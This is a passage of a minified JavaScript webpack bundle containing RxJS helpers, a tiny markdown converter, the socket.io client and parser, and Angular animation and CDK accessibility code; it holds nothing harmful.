a.length)},8515:(At,ae,d)=>{"use strict";d.d(ae,{z:()=>n});const n=a=>a&&"number"==typeof a.length&&"function"!=typeof a},7043:(At,ae,d)=>{"use strict";function n(a){return"function"==typeof a}d.d(ae,{m:()=>n})},7830:(At,ae,d)=>{"use strict";function n(a){return null!==a&&"object"==typeof a}d.d(ae,{K:()=>n})},4715:(At,ae,d)=>{"use strict";d.d(ae,{b:()=>a});var n=d(6498);function a(s){return!!s&&(s instanceof n.y||"function"==typeof s.lift&&"function"==typeof s.subscribe)}},8955:(At,ae,d)=>{"use strict";function n(a){return!!a&&"function"!=typeof a.subscribe&&"function"==typeof a.then}d.d(ae,{t:()=>n})},2866:(At,ae,d)=>{"use strict";function n(a){return a&&"function"==typeof a.schedule}d.d(ae,{K:()=>n})},4843:(At,ae,d)=>{"use strict";d.d(ae,{U:()=>s,z:()=>a});var n=d(5379);function a(...u){return s(u)}function s(u){return 0===u.length?n.y:1===u.length?u[0]:function(f){return u.reduce((E,_)=>_(E),f)}}},9249:(At,ae,d)=>{"use strict";d.d(ae,{s:()=>C});var n=d(3650),a=d(2782),u=d(5430),f=d(3821),_=d(8515),S=d(8955),g=d(7830);const C=z=>{if(z&&"function"==typeof z[f.L])return(z=>H=>{const j=z[f.L]();if("function"!=typeof j.subscribe)throw new TypeError("Provided object does not correctly implement Symbol.observable");return j.subscribe(H)})(z);if((0,_.z)(z))return(0,n.V)(z);if((0,S.t)(z))return(z=>H=>(z.then(j=>{H.closed||(H.next(j),H.complete())},j=>H.error(j)).then(null,a.z),H))(z);if(z&&"function"==typeof z[u.hZ])return(z=>H=>{const j=z[u.hZ]();for(;;){let U;try{U=j.next()}catch(G){return H.error(G),H}if(U.done){H.complete();break}if(H.next(U.value),H.closed)break}return"function"==typeof j.return&&H.add(()=>{j.return&&j.return()}),H})(z);{const j=`You provided ${(0,g.K)(z)?"an invalid object":`\'${z}\'`} where a stream was expected. You can provide an Observable, Promise, Array, or Iterable.`;throw new TypeError(j)}}},3650:(At,ae,d)=>{"use strict";d.d(ae,{V:()=>n});const n=a=>s=>{for(let u=0,c=a.length;u<c&&!s.closed;u++)s.next(a[u]);s.complete()}},8111:(At,ae,d)=>{"use strict";d.d(ae,{Z:()=>c});var n={"":["<em>","</em>"],_:["<strong>","</strong>"],"\\n":["<br />"]," ":["<br />"],"-":["<hr />"]};function a(f){return f.replace(RegExp("^"+(f.match(/^(\\t| )+/)||"")[0],"gm"),"")}function s(f){return(f+"").replace(/"/g,""").replace(/</g,"<").replace(/>/g,">")}const c=function u(f){var z,H,j,U,G,E=/((?:^|\\n+)(?:\\n---+|\\* \\*(?: \\*)+)\\n)|(?:^```(\\w*)\\n([\\s\\S]*?)\\n```$)|((?:(?:^|\\n+)(?:\\t| {2,}).+)+\\n*)|((?:(?:^|\\n)([>*+-]|\\d+\\.)\\s+.*)+)|(?:\\!\\[([^\\]]*?)\\]\\(([^\\)]+?)\\))|(\\[)|(\\](?:\\(([^\\)]+?)\\))?)|(?:(?:^|\\n+)([^\\s].*)\\n(\\-{3,}|={3,})(?:\\n+|$))|(?:(?:^|\\n+)(#{1,3})\\s*(.+)(?:\\n+|$))|(?:`([^`].*?)`)|( \\n\\n*|\\n{2,}|__|\\*\\*|[_*])/gm,_=[],S="",g=0,C={};function Q(Ce){var k=n[Ce.replace(/\\*/g,"_")[1]||""],K=_[_.length-1]==Ce;return k?k[1]?(_[K?"pop":"push"](Ce),k[0|K]):k[0]:Ce}function oe(){for(var Ce="";_.length;)Ce+=Q(_[_.length-1]);return Ce}for(f=f.replace(/^\\[(.+?)\\]:\\s*(.+)$/gm,function(Ce,k,K){return C[k.toLowerCase()]=K,""}).replace(/^\\n+|\\n+$/g,"");j=E.exec(f);)H=f.substring(g,j.index),g=E.lastIndex,z=j[0],H.match(/[^\\\\](\\\\\\\\)*\\\\$/)||(j[3]||j[4]?z=\'<pre class="code \'+(j[4]?"poetry":j[2].toLowerCase())+\'">\'+a(s(j[3]||j[4]).replace(/^\\n+|\\n+$/g,""))+"</pre>":j[6]?((G=j[6]).match(/\\./)&&(j[5]=j[5].replace(/^\\d+/gm,"")),U=u(a(j[5].replace(/^\\s*[>*+.-]/gm,""))),">"===G?G="blockquote":(G=G.match(/\\./)?"ol":"ul",U=U.replace(/^(.*)(\\n|$)/gm,"<li>$1</li>")),z="<"+G+">"+U+"</"+G+">"):j[8]?z=\'<img src="\'+s(j[8])+\'" alt="\'+s(j[7])+\'">\':j[10]?(S=S.replace("<a>",\'<a href="\'+s(j[11]||C[H.toLowerCase()])+\'">\'),z=oe()+"</a>"):j[9]?z="<a>":j[12]||j[14]?z="<"+(G="h"+(j[14]?j[14].length:"="===j[13][0]?1:2))+">"+u(j[12]||j[15])+"</"+G+">":j[16]?z="<code>"+s(j[16])+"</code>":(j[17]||j[1])&&(z=Q(j[17]||"--"))),S+=H,S+=z;return(S+f.substring(g)+oe()).trim()}},3541:(At,ae,d)=>{"use strict";Object.defineProperty(ae,"__esModule",{value:!0}),ae.reconstructPacket=ae.deconstructPacket=void 0;const n=d(8120);function s(f,E){if(!f)return f;if(n.isBinary(f)){const _={_placeholder:!0,num:E.length};return E.push(f),_}if(Array.isArray(f)){const _=new Array(f.length);for(let S=0;S<f.length;S++)_[S]=s(f[S],E);return _}if("object"==typeof f&&!(f instanceof Date)){const _={};for(const S in f)f.hasOwnProperty(S)&&(_[S]=s(f[S],E));return _}return f}function c(f,E){if(!f)return f;if(f&&!0===f._placeholder){if("number"==typeof f.num&&f.num>=0&&f.num<E.length)return E[f.num];throw new Error("illegal attachments")}if(Array.isArray(f))for(let _=0;_<f.length;_++)f[_]=c(f[_],E);else if("object"==typeof f)for(const _ in f)f.hasOwnProperty(_)&&(f[_]=c(f[_],E));return f}ae.deconstructPacket=function a(f){const E=[],S=f;return S.data=s(f.data,E),S.attachments=E.length,{packet:S,buffers:E}},ae.reconstructPacket=function u(f,E){return f.data=c(f.data,E),f.attachments=void 0,f}},869:(At,ae,d)=>{"use strict";Object.defineProperty(ae,"__esModule",{value:!0}),ae.Decoder=ae.Encoder=ae.PacketType=ae.protocol=void 0;const n=d(1264),a=d(3541),s=d(8120),u=d(1455)("socket.io-parser");var c,g;ae.protocol=5,(g=c=ae.PacketType||(ae.PacketType={}))[g.CONNECT=0]="CONNECT",g[g.DISCONNECT=1]="DISCONNECT",g[g.EVENT=2]="EVENT",g[g.ACK=3]="ACK",g[g.CONNECT_ERROR=4]="CONNECT_ERROR",g[g.BINARY_EVENT=5]="BINARY_EVENT",g[g.BINARY_ACK=6]="BINARY_ACK",ae.Encoder=class f{encode(C){return u("encoding packet %j",C),C.type!==c.EVENT&&C.type!==c.ACK||!s.hasBinary(C)?[this.encodeAsString(C)]:(C.type=C.type===c.EVENT?c.BINARY_EVENT:c.BINARY_ACK,this.encodeAsBinary(C))}encodeAsString(C){let z=""+C.type;return(C.type===c.BINARY_EVENT||C.type===c.BINARY_ACK)&&(z+=C.attachments+"-"),C.nsp&&"/"!==C.nsp&&(z+=C.nsp+","),null!=C.id&&(z+=C.id),null!=C.data&&(z+=JSON.stringify(C.data)),u("encoded %j as %s",C,z),z}encodeAsBinary(C){const z=a.deconstructPacket(C),H=this.encodeAsString(z.packet),j=z.buffers;return j.unshift(H),j}};class E extends n{constructor(){super()}add(C){let z;if("string"==typeof C){if(this.reconstructor)throw new Error("got plaintext data when reconstructing a packet");z=this.decodeString(C),z.type===c.BINARY_EVENT||z.type===c.BINARY_ACK?(this.reconstructor=new S(z),0===z.attachments&&super.emit("decoded",z)):super.emit("decoded",z)}else{if(!s.isBinary(C)&&!C.base64)throw new Error("Unknown type: "+C);if(!this.reconstructor)throw new Error("got binary data when not reconstructing a packet");z=this.reconstructor.takeBinaryData(C),z&&(this.reconstructor=null,super.emit("decoded",z))}}decodeString(C){let z=0;const H={type:Number(C.charAt(0))};if(void 0===c[H.type])throw new Error("unknown packet type "+H.type);if(H.type===c.BINARY_EVENT||H.type===c.BINARY_ACK){const U=z+1;for(;"-"!==C.charAt(++z)&&z!=C.length;);const G=C.substring(U,z);if(G!=Number(G)||"-"!==C.charAt(z))throw new Error("Illegal attachments");H.attachments=Number(G)}if("/"===C.charAt(z+1)){const U=z+1;for(;++z&&","!==C.charAt(z)&&z!==C.length;);H.nsp=C.substring(U,z)}else H.nsp="/";const j=C.charAt(z+1);if(""!==j&&Number(j)==j){const U=z+1;for(;++z;){const G=C.charAt(z);if(null==G||Number(G)!=G){--z;break}if(z===C.length)break}H.id=Number(C.substring(U,z+1))}if(C.charAt(++z)){const U=function _(g){try{return JSON.parse(g)}catch{return!1}}(C.substr(z));if(!E.isPayloadValid(H.type,U))throw new Error("invalid payload");H.data=U}return u("decoded %s as %j",C,H),H}static isPayloadValid(C,z){switch(C){case c.CONNECT:return"object"==typeof z;case c.DISCONNECT:return void 0===z;case c.CONNECT_ERROR:return"string"==typeof z||"object"==typeof z;case c.EVENT:case c.BINARY_EVENT:return Array.isArray(z)&&z.length>0;case c.ACK:case c.BINARY_ACK:return Array.isArray(z)}}destroy(){this.reconstructor&&this.reconstructor.finishedReconstruction()}}ae.Decoder=E;class S{constructor(C){this.packet=C,this.buffers=[],this.reconPack=C}takeBinaryData(C){if(this.buffers.push(C),this.buffers.length===this.reconPack.attachments){const z=a.reconstructPacket(this.reconPack,this.buffers);return this.finishedReconstruction(),z}return null}finishedReconstruction(){this.reconPack=null,this.buffers=[]}}},8120:(At,ae)=>{"use strict";Object.defineProperty(ae,"__esModule",{value:!0}),ae.hasBinary=ae.isBinary=void 0;const d="function"==typeof ArrayBuffer,n=E=>"function"==typeof ArrayBuffer.isView?ArrayBuffer.isView(E):E.buffer instanceof ArrayBuffer,a=Object.prototype.toString,s="function"==typeof Blob||typeof Blob<"u"&&"[object BlobConstructor]"===a.call(Blob),u="function"==typeof File||typeof File<"u"&&"[object FileConstructor]"===a.call(File);function c(E){return d&&(E instanceof ArrayBuffer||n(E))||s&&E instanceof Blob||u&&E instanceof File}ae.isBinary=c,ae.hasBinary=function f(E,_){if(!E||"object"!=typeof E)return!1;if(Array.isArray(E)){for(let S=0,g=E.length;S<g;S++)if(f(E[S]))return!0;return!1}if(c(E))return!0;if(E.toJSON&&"function"==typeof E.toJSON&&1===arguments.length)return f(E.toJSON(),!0);for(const S in E)if(Object.prototype.hasOwnProperty.call(E,S)&&f(E[S]))return!0;return!1}},1067:At=>{"use strict";var u,ae="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-_".split(""),d=64,n={},a=0,s=0;function c(_){var S="";do{S=ae[_%d]+S,_=Math.floor(_/d)}while(_>0);return S}function E(){var _=c(+new Date);return _!==u?(a=0,u=_):_+"."+c(a++)}for(;s<d;s++)n[ae[s]]=s;E.encode=c,E.decode=function f(_){var S=0;for(s=0;s<_.length;s++)S=S*d+n[_.charAt(s)];return S},At.exports=E},655:(At,ae,d)=>{"use strict";function c(Ye,qe,Ke,dt){var De,bt=arguments.length,ze=bt<3?qe:null===dt?dt=Object.getOwnPropertyDescriptor(qe,Ke):dt;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)ze=Reflect.decorate(Ye,qe,Ke,dt);else for(var re=Ye.length-1;re>=0;re--)(De=Ye[re])&&(ze=(bt<3?De(ze):bt>3?De(qe,Ke,ze):De(qe,Ke))||ze);return bt>3&&ze&&Object.defineProperty(qe,Ke,ze),ze}function C(Ye,qe){if("object"==typeof Reflect&&"function"==typeof Reflect.metadata)return Reflect.metadata(Ye,qe)}function z(Ye,qe,Ke,dt){return new(Ke||(Ke=Promise))(function(ze,De){function re(xt){try{We(dt.next(xt))}catch(Be){De(Be)}}function ve(xt){try{We(dt.throw(xt))}catch(Be){De(Be)}}function We(xt){xt.done?ze(xt.value):function bt(ze){return ze instanceof Ke?ze:new Ke(function(De){De(ze)})}(xt.value).then(re,ve)}We((dt=dt.apply(Ye,qe||[])).next())})}d.d(ae,{gn:()=>c,mG:()=>z,w6:()=>C})},8450:(At,ae,d)=>{"use strict";Object.defineProperty(ae,"__esModule",{value:!0}),ae.Socket=ae.io=ae.Manager=ae.protocol=void 0;const n=d(4398),a=d(9707),s=d(9745);Object.defineProperty(ae,"Socket",{enumerable:!0,get:function(){return s.Socket}});const u=d(1455)("socket.io-client");At.exports=ae=f;const c=ae.managers={};function f(S,g){"object"==typeof S&&(g=S,S=void 0);const C=n.url(S,(g=g||{}).path),z=C.source,H=C.id;let Q;return g.forceNew||g["force new connection"]||!1===g.multiplex||c[H]&&C.path in c[H].nsps?(u("ignoring socket cache for %s",z),Q=new a.Manager(z,g)):(c[H]||(u("new io instance for %s",z),c[H]=new a.Manager(z,g)),Q=c[H]),C.query&&!g.query&&(g.query=C.queryKey),Q.socket(C.path,g)}ae.io=f;var E=d(869);Object.defineProperty(ae,"protocol",{enumerable:!0,get:function(){return E.protocol}}),ae.connect=f;var _=d(9707);Object.defineProperty(ae,"Manager",{enumerable:!0,get:function(){return _.Manager}})},9707:(At,ae,d)=>{"use strict";Object.defineProperty(ae,"__esModule",{value:!0}),ae.Manager=void 0;const n=d(7410),a=d(9745),s=d(1264),u=d(869),c=d(5825),f=d(2150),E=d(1455)("socket.io-client:manager");ae.Manager=class _ extends s{constructor(g,C){super(),this.nsps={},this.subs=[],g&&"object"==typeof g&&(C=g,g=void 0),(C=C||{}).path=C.path||"/socket.io",this.opts=C,this.reconnection(!1!==C.reconnection),this.reconnectionAttempts(C.reconnectionAttempts||1/0),this.reconnectionDelay(C.reconnectionDelay||1e3),this.reconnectionDelayMax(C.reconnectionDelayMax||5e3),this.randomizationFactor(C.randomizationFactor||.5),this.backoff=new f({min:this.reconnectionDelay(),max:this.reconnectionDelayMax(),jitter:this.randomizationFactor()}),this.timeout(null==C.timeout?2e4:C.timeout),this._readyState="closed",this.uri=g;const z=C.parser||u;this.encoder=new z.Encoder,this.decoder=new z.Decoder,this._autoConnect=!1!==C.autoConnect,this._autoConnect&&this.open()}reconnection(g){return arguments.length?(this._reconnection=!!g,this):this._reconnection}reconnectionAttempts(g){return void 0===g?this._reconnectionAttempts:(this._reconnectionAttempts=g,this)}reconnectionDelay(g){var C;return void 0===g?this._reconnectionDelay:(this._reconnectionDelay=g,null===(C=this.backoff)||void 0===C||C.setMin(g),this)}randomizationFactor(g){var C;return void 0===g?this._randomizationFactor:(this._randomizationFactor=g,null===(C=this.backoff)||void 0===C||C.setJitter(g),this)}reconnectionDelayMax(g){var C;return void 0===g?this._reconnectionDelayMax:(this._reconnectionDelayMax=g,null===(C=this.backoff)||void 0===C||C.setMax(g),this)}timeout(g){return arguments.length?(this._timeout=g,this):this._timeout}maybeReconnectOnOpen(){!this._reconnecting&&this._reconnection&&0===this.backoff.attempts&&this.reconnect()}open(g){if(E("readyState %s",this._readyState),~this._readyState.indexOf("open"))return this;E("opening %s",this.uri),this.engine=n(this.uri,this.opts);const C=this.engine,z=this;this._readyState="opening",this.skipReconnect=!1;const H=c.on(C,"open",function(){z.onopen(),g&&g()}),j=c.on(C,"error",U=>{E("error"),z.cleanup(),z._readyState="closed",super.emit("error",U),g?g(U):z.maybeReconnectOnOpen()});if(!1!==this._timeout){const U=this._timeout;E("connect attempt will timeout after %d",U),0===U&&H();const G=setTimeout(()=>{E("connect attempt timed out after %d",U),H(),C.close(),C.emit("error",new Error("timeout"))},U);this.subs.push(function(){clearTimeout(G)})}return this.subs.push(H),this.subs.push(j),this}connect(g){return this.open(g)}onopen(){E("open"),this.cleanup(),this._readyState="open",super.emit("open");const g=this.engine;this.subs.push(c.on(g,"ping",this.onping.bind(this)),c.on(g,"data",this.ondata.bind(this)),c.on(g,"error",this.onerror.bind(this)),c.on(g,"close",this.onclose.bind(this)),c.on(this.decoder,"decoded",this.ondecoded.bind(this)))}onping(){super.emit("ping")}ondata(g){this.decoder.add(g)}ondecoded(g){super.emit("packet",g)}onerror(g){E("error",g),super.emit("error",g)}socket(g,C){let z=this.nsps[g];return z||(z=new a.Socket(this,g,C),this.nsps[g]=z),z}_destroy(g){const C=Object.keys(this.nsps);for(const z of C)if(this.nsps[z].active)return void E("socket %s is still active, skipping close",z);this._close()}_packet(g){E("writing packet %j",g);const C=this.encoder.encode(g);for(let z=0;z<C.length;z++)this.engine.write(C[z],g.options)}cleanup(){E("cleanup"),this.subs.forEach(g=>g()),this.subs.length=0,this.decoder.destroy()}_close(){E("disconnect"),this.skipReconnect=!0,this._reconnecting=!1,"opening"===this._readyState&&this.cleanup(),this.backoff.reset(),this._readyState="closed",this.engine&&this.engine.close()}disconnect(){return this._close()}onclose(g){E("onclose"),this.cleanup(),this.backoff.reset(),this._readyState="closed",super.emit("close",g),this._reconnection&&!this.skipReconnect&&this.reconnect()}reconnect(){if(this._reconnecting||this.skipReconnect)return this;const g=this;if(this.backoff.attempts>=this._reconnectionAttempts)E("reconnect failed"),this.backoff.reset(),super.emit("reconnect_failed"),this._reconnecting=!1;else{const C=this.backoff.duration();E("will wait %dms before reconnect attempt",C),this._reconnecting=!0;const z=setTimeout(()=>{g.skipReconnect||(E("attempting reconnect"),super.emit("reconnect_attempt",g.backoff.attempts),!g.skipReconnect&&g.open(H=>{H?(E("reconnect attempt error"),g._reconnecting=!1,g.reconnect(),super.emit("reconnect_error",H)):(E("reconnect success"),g.onreconnect())}))},C);this.subs.push(function(){clearTimeout(z)})}}onreconnect(){const g=this.backoff.attempts;this._reconnecting=!1,this.backoff.reset(),super.emit("reconnect",g)}}},5825:(At,ae)=>{"use strict";Object.defineProperty(ae,"__esModule",{value:!0}),ae.on=void 0,ae.on=function d(n,a,s){return n.on(a,s),function(){n.off(a,s)}}},9745:(At,ae,d)=>{"use strict";Object.defineProperty(ae,"__esModule",{value:!0}),ae.Socket=void 0;const n=d(869),a=d(1264),s=d(5825),u=d(1455)("socket.io-client:socket"),c=Object.freeze({connect:1,connect_error:1,disconnect:1,disconnecting:1,newListener:1,removeListener:1});ae.Socket=class f extends a{constructor(_,S,g){super(),this.receiveBuffer=[],this.sendBuffer=[],this.ids=0,this.acks={},this.flags={},this.io=_,this.nsp=S,this.ids=0,this.acks={},this.receiveBuffer=[],this.sendBuffer=[],this.connected=!1,this.disconnected=!0,this.flags={},g&&g.auth&&(this.auth=g.auth),this.io._autoConnect&&this.open()}subEvents(){if(this.subs)return;const _=this.io;this.subs=[s.on(_,"open",this.onopen.bind(this)),s.on(_,"packet",this.onpacket.bind(this)),s.on(_,"error",this.onerror.bind(this)),s.on(_,"close",this.onclose.bind(this))]}get active(){return!!this.subs}connect(){return this.connected||(this.subEvents(),this.io._reconnecting||this.io.open(),"open"===this.io._readyState&&this.onopen()),this}open(){return this.connect()}send(..._){return _.unshift("message"),this.emit.apply(this,_),this}emit(_,...S){if(c.hasOwnProperty(_))throw new Error(\'"\'+_+\'" is a reserved event name\');S.unshift(_);const g={type:n.PacketType.EVENT,data:S,options:{}};return g.options.compress=!1!==this.flags.compress,"function"==typeof S[S.length-1]&&(u("emitting packet with ack id %d",this.ids),this.acks[this.ids]=S.pop(),g.id=this.ids++),!this.flags.volatile||this.io.engine&&this.io.engine.transport&&this.io.engine.transport.writable&&this.connected?this.connected?this.packet(g):this.sendBuffer.push(g):u("discard packet as the transport is not currently writable"),this.flags={},this}packet(_){_.nsp=this.nsp,this.io._packet(_)}onopen(){u("transport is open - connecting"),"function"==typeof this.auth?this.auth(_=>{this.packet({type:n.PacketType.CONNECT,data:_})}):this.packet({type:n.PacketType.CONNECT,data:this.auth})}onerror(_){this.connected||super.emit("connect_error",_)}onclose(_){u("close (%s)",_),this.connected=!1,this.disconnected=!0,delete this.id,super.emit("disconnect",_)}onpacket(_){if(_.nsp===this.nsp)switch(_.type){case n.PacketType.CONNECT:_.data&&_.data.sid?this.onconnect(_.data.sid):super.emit("connect_error",new Error("It seems you are trying to reach a Socket.IO server in v2.x with a v3.x client, but they are not compatible (more information here: https://socket.io/docs/v3/migrating-from-2-x-to-3-0/)"));break;case n.PacketType.EVENT:case n.PacketType.BINARY_EVENT:this.onevent(_);break;case n.PacketType.ACK:case n.PacketType.BINARY_ACK:this.onack(_);break;case n.PacketType.DISCONNECT:this.ondisconnect();break;case n.PacketType.CONNECT_ERROR:const g=new Error(_.data.message);g.data=_.data.data,super.emit("connect_error",g)}}onevent(_){const S=_.data||[];u("emitting event %j",S),null!=_.id&&(u("attaching ack callback to event"),S.push(this.ack(_.id))),this.connected?this.emitEvent(S):this.receiveBuffer.push(Object.freeze(S))}emitEvent(_){if(this._anyListeners&&this._anyListeners.length){const S=this._anyListeners.slice();for(const g of S)g.apply(this,_)}super.emit.apply(this,_)}ack(_){const S=this;let g=!1;return function(...C){g||(g=!0,u("sending ack %j",C),S.packet({type:n.PacketType.ACK,id:_,data:C}))}}onack(_){const S=this.acks[_.id];"function"==typeof S?(u("calling ack %s with %j",_.id,_.data),S.apply(this,_.data),delete this.acks[_.id]):u("bad ack %s",_.id)}onconnect(_){u("socket connected with id %s",_),this.id=_,this.connected=!0,this.disconnected=!1,super.emit("connect"),this.emitBuffered()}emitBuffered(){this.receiveBuffer.forEach(_=>this.emitEvent(_)),this.receiveBuffer=[],this.sendBuffer.forEach(_=>this.packet(_)),this.sendBuffer=[]}ondisconnect(){u("server disconnect (%s)",this.nsp),this.destroy(),this.onclose("io server disconnect")}destroy(){this.subs&&(this.subs.forEach(_=>_()),this.subs=void 0),this.io._destroy(this)}disconnect(){return this.connected&&(u("performing disconnect (%s)",this.nsp),this.packet({type:n.PacketType.DISCONNECT})),this.destroy(),this.connected&&this.onclose("io client disconnect"),this}close(){return this.disconnect()}compress(_){return this.flags.compress=_,this}get volatile(){return this.flags.volatile=!0,this}onAny(_){return this._anyListeners=this._anyListeners||[],this._anyListeners.push(_),this}prependAny(_){return this._anyListeners=this._anyListeners||[],this._anyListeners.unshift(_),this}offAny(_){if(!this._anyListeners)return this;if(_){const S=this._anyListeners;for(let g=0;g<S.length;g++)if(_===S[g])return S.splice(g,1),this}else this._anyListeners=[];return this}listenersAny(){return this._anyListeners||[]}}},4398:(At,ae,d)=>{"use strict";Object.defineProperty(ae,"__esModule",{value:!0}),ae.url=void 0;const n=d(1884),a=d(1455)("socket.io-client:url");ae.url=function s(u,c="",f){let E=u;f=f||typeof location<"u"&&location,null==u&&(u=f.protocol+"//"+f.host),"string"==typeof u&&("/"===u.charAt(0)&&(u="/"===u.charAt(1)?f.protocol+u:f.host+u),/^(https?|wss?):\\/\\//.test(u)||(a("protocol-less url %s",u),u=typeof f<"u"?f.protocol+"//"+u:"https://"+u),a("parse %s",u),E=n(u)),E.port||(/^(http|ws)$/.test(E.protocol)?E.port="80":/^(http|ws)s$/.test(E.protocol)&&(E.port="443")),E.path=E.path||"/";const S=-1!==E.host.indexOf(":")?"["+E.host+"]":E.host;return E.id=E.protocol+"://"+S+":"+E.port+c,E.href=E.protocol+"://"+S+(f&&f.port===E.port?"":":"+E.port),E}},7340:(At,ae,d)=>{"use strict";d.d(ae,{EY:()=>G,F4:()=>g,IO:()=>U,LC:()=>a,SB:()=>S,X$:()=>u,ZE:()=>Ce,ZN:()=>oe,_7:()=>j,_j:()=>n,eR:()=>C,jt:()=>c,k1:()=>k,l3:()=>s,oB:()=>_,oQ:()=>z,pV:()=>H,ru:()=>f,vP:()=>E});class n{}class a{}const s="*";function u(K,se){return{type:7,name:K,definitions:se,options:{}}}function c(K,se=null){return{type:4,styles:se,timings:K}}function f(K,se=null){return{type:3,steps:K,options:se}}function E(K,se=null){return{type:2,steps:K,options:se}}function _(K){return{type:6,styles:K,offset:null}}function S(K,se,ee){return{type:0,name:K,styles:se,options:ee}}function g(K){return{type:5,steps:K}}function C(K,se,ee=null){return{type:1,expr:K,animation:se,options:ee}}function z(K,se=null){return{type:8,animation:K,options:se}}function H(K=null){return{type:9,options:K}}function j(K,se=null){return{type:10,animation:K,options:se}}function U(K,se,ee=null){return{type:11,selector:K,animation:se,options:ee}}function G(K,se){return{type:12,timings:K,animation:se}}function Q(K){Promise.resolve().then(K)}class oe{constructor(se=0,ee=0){this._onDoneFns=[],this._onStartFns=[],this._onDestroyFns=[],this._originalOnDoneFns=[],this._originalOnStartFns=[],this._started=!1,this._destroyed=!1,this._finished=!1,this._position=0,this.parentPlayer=null,this.totalTime=se+ee}_onFinish(){this._finished||(this._finished=!0,this._onDoneFns.forEach(se=>se()),this._onDoneFns=[])}onStart(se){this._originalOnStartFns.push(se),this._onStartFns.push(se)}onDone(se){this._originalOnDoneFns.push(se),this._onDoneFns.push(se)}onDestroy(se){this._onDestroyFns.push(se)}hasStarted(){return this._started}init(){}play(){this.hasStarted()||(this._onStart(),this.triggerMicrotask()),this._started=!0}triggerMicrotask(){Q(()=>this._onFinish())}_onStart(){this._onStartFns.forEach(se=>se()),this._onStartFns=[]}pause(){}restart(){}finish(){this._onFinish()}destroy(){this._destroyed||(this._destroyed=!0,this.hasStarted()||this._onStart(),this.finish(),this._onDestroyFns.forEach(se=>se()),this._onDestroyFns=[])}reset(){this._started=!1,this._finished=!1,this._onStartFns=this._originalOnStartFns,this._onDoneFns=this._originalOnDoneFns}setPosition(se){this._position=this.totalTime?se*this.totalTime:1}getPosition(){return this.totalTime?this._position/this.totalTime:1}triggerCallback(se){const ee="start"==se?this._onStartFns:this._onDoneFns;ee.forEach(q=>q()),ee.length=0}}class Ce{constructor(se){this._onDoneFns=[],this._onStartFns=[],this._finished=!1,this._started=!1,this._destroyed=!1,this._onDestroyFns=[],this.parentPlayer=null,this.totalTime=0,this.players=se;let ee=0,q=0,we=0;const ce=this.players.length;0==ce?Q(()=>this._onFinish()):this.players.forEach(je=>{je.onDone(()=>{++ee==ce&&this._onFinish()}),je.onDestroy(()=>{++q==ce&&this._onDestroy()}),je.onStart(()=>{++we==ce&&this._onStart()})}),this.totalTime=this.players.reduce((je,Ze)=>Math.max(je,Ze.totalTime),0)}_onFinish(){this._finished||(this._finished=!0,this._onDoneFns.forEach(se=>se()),this._onDoneFns=[])}init(){this.players.forEach(se=>se.init())}onStart(se){this._onStartFns.push(se)}_onStart(){this.hasStarted()||(this._started=!0,this._onStartFns.forEach(se=>se()),this._onStartFns=[])}onDone(se){this._onDoneFns.push(se)}onDestroy(se){this._onDestroyFns.push(se)}hasStarted(){return this._started}play(){this.parentPlayer||this.init(),this._onStart(),this.players.forEach(se=>se.play())}pause(){this.players.forEach(se=>se.pause())}restart(){this.players.forEach(se=>se.restart())}finish(){this._onFinish(),this.players.forEach(se=>se.finish())}destroy(){this._onDestroy()}_onDestroy(){this._destroyed||(this._destroyed=!0,this._onFinish(),this.players.forEach(se=>se.destroy()),this._onDestroyFns.forEach(se=>se()),this._onDestroyFns=[])}reset(){this.players.forEach(se=>se.reset()),this._destroyed=!1,this._finished=!1,this._started=!1}setPosition(se){const ee=se*this.totalTime;this.players.forEach(q=>{const we=q.totalTime?Math.min(1,ee/q.totalTime):1;q.setPosition(we)})}getPosition(){const se=this.players.reduce((ee,q)=>null===ee||q.totalTime>ee.totalTime?q:ee,null);return null!=se?se.getPosition():0}beforeDestroy(){this.players.forEach(se=>{se.beforeDestroy&&se.beforeDestroy()})}triggerCallback(se){const ee="start"==se?this._onStartFns:this._onDoneFns;ee.forEach(q=>q()),ee.length=0}}const k="!"},2687:(At,ae,d)=>{"use strict";d.d(ae,{$s:()=>Ze,Em:()=>qe,Kd:()=>Gt,X6:()=>te,ic:()=>dt,kH:()=>_t,mK:()=>ct,qV:()=>_e,qm:()=>Pe,rt:()=>Re,s1:()=>Ye,tE:()=>It,yG:()=>x});var n=d(6895),a=d(4650),s=d(3353),u=d(8929),c=d(2654),f=d(591),E=d(1086),_=d(9521),S=d(2868),g=d(13),C=d(2198),z=d(4850),H=d(2986),j=d(1307),U=d(5778),G=d(7625),Q=d(1281),oe=d(9643),Ce=d(2289);function ee(Ue,xe){return(Ue.getAttribute(xe)||"").match(/\\S+/g)||[]}const we="cdk-describedby-message",ce="cdk-describedby-host";let je=0,Ze=(()=>{class Ue{constructor(J,Ae){this._platform=Ae,this._messageRegistry=new Map,this._messagesContainer=null,this._id=""+je++,this._document=J,this._id=(0,a.f3M)(a.AFp)+"-"+je++}describe(J,Ae,mt){if(!this._canBeDescribed(J,Ae))return;const Ct=le(Ae,mt);"string"!=typeof Ae?(Oe(Ae,this._id),this._messageRegistry.set(Ct,{messageElement:Ae,referenceCount:0})):this._messageRegistry.has(Ct)||this._createMessageElement(Ae,mt),this._isElementDescribedByMessage(J,Ct)||this._addMessageReference(J,Ct)}removeDescription(J,Ae,mt){if(!Ae||!this._isElementNode(J))return;const Ct=le(Ae,mt);if(this._isElementDescribedByMessage(J,Ct)&&this._removeMessageReference(J,Ct),"string"==typeof Ae){const jt=this._messageRegistry.get(Ct);jt&&0===jt.referenceCount&&this._deleteMessageElement(Ct)}0===this._messagesContainer?.childNodes.length&&(this._messagesContainer.remove(),this._messagesContainer=null)}ngOnDestroy(){const J=this._document.querySelectorAll(`[${ce}="${this._id}"]`);for(let Ae=0;Ae<J.length;Ae++)this._removeCdkDescribedByReferenceIds(J[Ae]),J[Ae].removeAttribute(ce);this._messagesContainer?.remove(),this._messagesContainer=null,this._messageRegistry.clear()}_createMessageElement(J,Ae){const mt=this._document.createElement("div");Oe(mt,this._id),mt.textContent=J,Ae&&mt.setAttribute("role",Ae),this._createMessagesContainer(),this._messagesContainer.appendChild(mt),this._messageRegistry.set(le(J,Ae),{messageElement:mt,referenceCount:0})}_deleteMessageElement(J){this._messageRegistry.get(J)?.messageElement?.remove(),this._messageRegistry.delete(J)}_createMessagesContainer(){if(this._messagesContainer)return;const J="cdk-describedby-message-container",Ae=this._document.querySelectorAll(`.${J}[platform="server"]`);for(let 